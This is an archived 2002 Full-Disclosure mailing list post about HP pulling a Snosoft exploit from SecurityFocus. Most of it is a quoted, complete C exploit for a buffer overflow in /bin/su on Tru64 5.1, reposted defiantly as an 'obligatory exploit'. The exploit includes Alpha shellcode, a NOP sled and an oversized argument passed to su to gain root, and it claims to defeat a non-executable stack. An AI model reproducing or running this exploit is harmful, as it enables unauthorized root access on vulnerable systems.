OT: Snosoft vs HP

[full-disclosure () lists netsys com (ATD)]

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What is even more interesting is that this issue has been known for
quite a while, yet no one did anything about it.


Adriel


On Wed, 2002-07-31 at 12:22, Len Rose wrote:
> =20
> It's interesting to note that the exploit was removed from
> SecurityFocus' site. I wonder if HP is going to demand people
> remove it from all archives everywhere?=20
> =20
> Obligatory exploit:
> =20
> /*
>  /bin/su tru64 5.1
>  works with non-exec stack enabled
> =20
>  stripey is the man
> =20
>  developed at http://www.snosoft.com in the cerebrum labs
> =20
>  phased
>  phased at mail.ru
> */
> =20
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> =20
> char shellcode[]=3D
>         "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
>         "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
>         "\x12\x14\x02\x42"      /* addq $16,16,$18              */
>         "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
>         "\x12\x94\x09\x42"      /* addq $16,76,$18              */
>         "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
>         "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
>         "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
>         "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
>         "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
>         "\x10\x04\xff\x47"      /* clr $16                      */
>         "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
>         "\x20\x35\x20\x42"      /* subq $17,1,$0                */
>         "\xff\xff\xff\xff"      /* callsys ( disguised )        */
>         "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
>         "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
>         "\x12\x04\xff\x47"      /* clr $18                      */
>         "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
>         "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
>         "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
>         "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
>         "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
>         "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
>         "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
>         "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
>         "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
>         "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
>         "\x20\x35\x60\x42"      /* subq $19,1,$0                */
>         "\xff\xff\xff\xff";     /* callsys ( disguised )        */
> =20
> /* shellcode by Taeho Oh */
> =20
> main(int argc, char *argv[]) {
> int i, j;
> char buffer[8239];
> char payload[15200];
> char nop[] =3D "\x1f\x04\xff\x47";
> =20
> bzero(&buffer, 8239);
> bzero(&payload, 15200);
> =20
> for (i=3D0;i<8233;i++)
>         buffer[i] =3D 0x41;
> =20
> /* 0x140010401 */
> =20
>         buffer[i++] =3D 0x01;
>         buffer[i++] =3D 0x04;
>         buffer[i++] =3D 0x01;
>         buffer[i++] =3D 0x40;
>         buffer[i++] =3D 0x01;
> =20
> for (i=3D0;i<15000;) {
>         for(j=3D0;j<4;j++)  {
>                 payload[i++] =3D nop[j];
>         }
> }
> =20
> for (i=3Di,j=3D0;j<sizeof(shellcode);i++,j++)
>         payload[i] =3D shellcode[j];
> =20
>         printf("/bin/su by phased\n");
>         printf("payload %db\n", strlen(payload));
>         printf("buffer %db\n", strlen(buffer));
> =20
>         execl("/usr/bin/su", "su", buffer, payload, 0);
> =20
> }
> =20
> =20
> _______________________________________________
> Full-Disclosure - We believe in it.
> Full-Disclosure () lists netsys com
> http://lists.netsys.com/mailman/listinfo/full-disclosure
> =20
--=20

-------------------------------------------------------
Secure Network Operations, Inc.| http://www.snosoft.com
Cerebrum Project               | cerebrum () snosoft com
Strategic Reconnaissance Team  | recon () snosoft com
-------------------------------------------------------



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